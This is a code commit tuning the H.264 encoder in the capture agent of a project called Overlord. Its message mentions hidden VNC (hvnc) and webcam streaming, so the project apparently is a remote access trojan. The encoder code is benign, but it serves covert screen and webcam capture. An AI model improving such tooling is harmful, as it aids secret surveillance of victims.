optimize remote desktop, hvnc and webcam stuff. Fix issues with webcam frames getting super slow out of nowhere because of backup. Also remove compression since we rarely use it + H264 already compresses. Most things we send either way are so small where compression just adds CPU overhead that isn't needed.

Overlord-Client/cmd/agent/capture/h264_encoder_x264.go

@@ -7,17 +7,21 @@ import (
 	"fmt"
 	"image"
 	"sync"
+	"sync/atomic"
 
 	x264 "github.com/gen2brain/x264-go"
 )
 
 var (
-	h264Mu      sync.Mutex
-	h264Enc     *x264.Encoder
-	h264Buf     bytes.Buffer
-	h264Width   int
-	h264Height  int
-	h264LastErr error
+	h264Mu        sync.Mutex
+	h264Enc       *x264.Encoder
+	h264Buf       bytes.Buffer
+	h264Width     int
+	h264Height    int
+	h264FPS       int
+	h264LastErr   error
+	h264Scratch   []byte
+	h264TargetFPS atomic.Int64 // set by the stream handler; default 60
 )
 
 func encodeH264Frame(img *image.RGBA) ([]byte, error) {
@@ -40,9 +44,17 @@ func encodeH264Frame(img *image.RGBA) ([]byte, error) {
 	}
 	h264LastErr = nil
 
-	out := make([]byte, h264Buf.Len())
-	copy(out, h264Buf.Bytes())
-	return out, nil
+	n := h264Buf.Len()
+	if n == 0 {
+		return nil, nil
+	}
+	if cap(h264Scratch) < n {
+		h264Scratch = make([]byte, n, n+(n/4))
+	} else {
+		h264Scratch = h264Scratch[:n]
+	}
+	copy(h264Scratch, h264Buf.Bytes())
+	return h264Scratch, nil
 }
 
 func h264Available() bool {
@@ -58,8 +70,27 @@ func h264AvailabilityDetail() string {
 	return "cgo build with x264-go"
 }
 
+// SetH264TargetFPS sets the frame rate hint for the x264 encoder so its
+// rate-control matches the actual capture cadence. Call this before (or
+// when) streaming starts. The encoder is automatically re-created on the
+// next frame if the value differs from the current one.
+func SetH264TargetFPS(fps int) {
+	if fps < 1 {
+		fps = 1
+	}
+	h264TargetFPS.Store(int64(fps))
+}
+
+func activeH264FPS() int {
+	if v := int(h264TargetFPS.Load()); v > 0 {
+		return v
+	}
+	return 60 // sensible default for desktop streaming
+}
+
 func ensureH264EncoderLocked(width, height int) error {
-	if h264Enc != nil && h264Width == width && h264Height == height {
+	fps := activeH264FPS()
+	if h264Enc != nil && h264Width == width && h264Height == height && h264FPS == fps {
 		return nil
 	}
 
@@ -68,12 +99,12 @@ func ensureH264EncoderLocked(width, height int) error {
 	opts := &x264.Options{
 		Width:        width,
 		Height:       height,
-		FrameRate:    120,
-		Tune:         "zerolatency,fastdecode",
-		Preset:       "ultrafast",
-		Profile:      "baseline",
+		FrameRate:    fps,
+		Tune:         "zerolatency",
+		Preset:       "veryfast",
+		Profile:      "main",
 		RateControl:  "crf",
-		RateConstant: 30,
+		RateConstant: 23,
 		LogLevel:     x264.LogError,
 	}
 
@@ -85,6 +116,7 @@ func ensureH264EncoderLocked(width, height int) error {
 	h264Enc = enc
 	h264Width = width
 	h264Height = height
+	h264FPS = fps
 	return nil
 }
 
@@ -101,5 +133,6 @@ func closeH264EncoderLocked() {
 	}
 	h264Width = 0
 	h264Height = 0
+	h264FPS = 0
 	h264Buf.Reset()
 }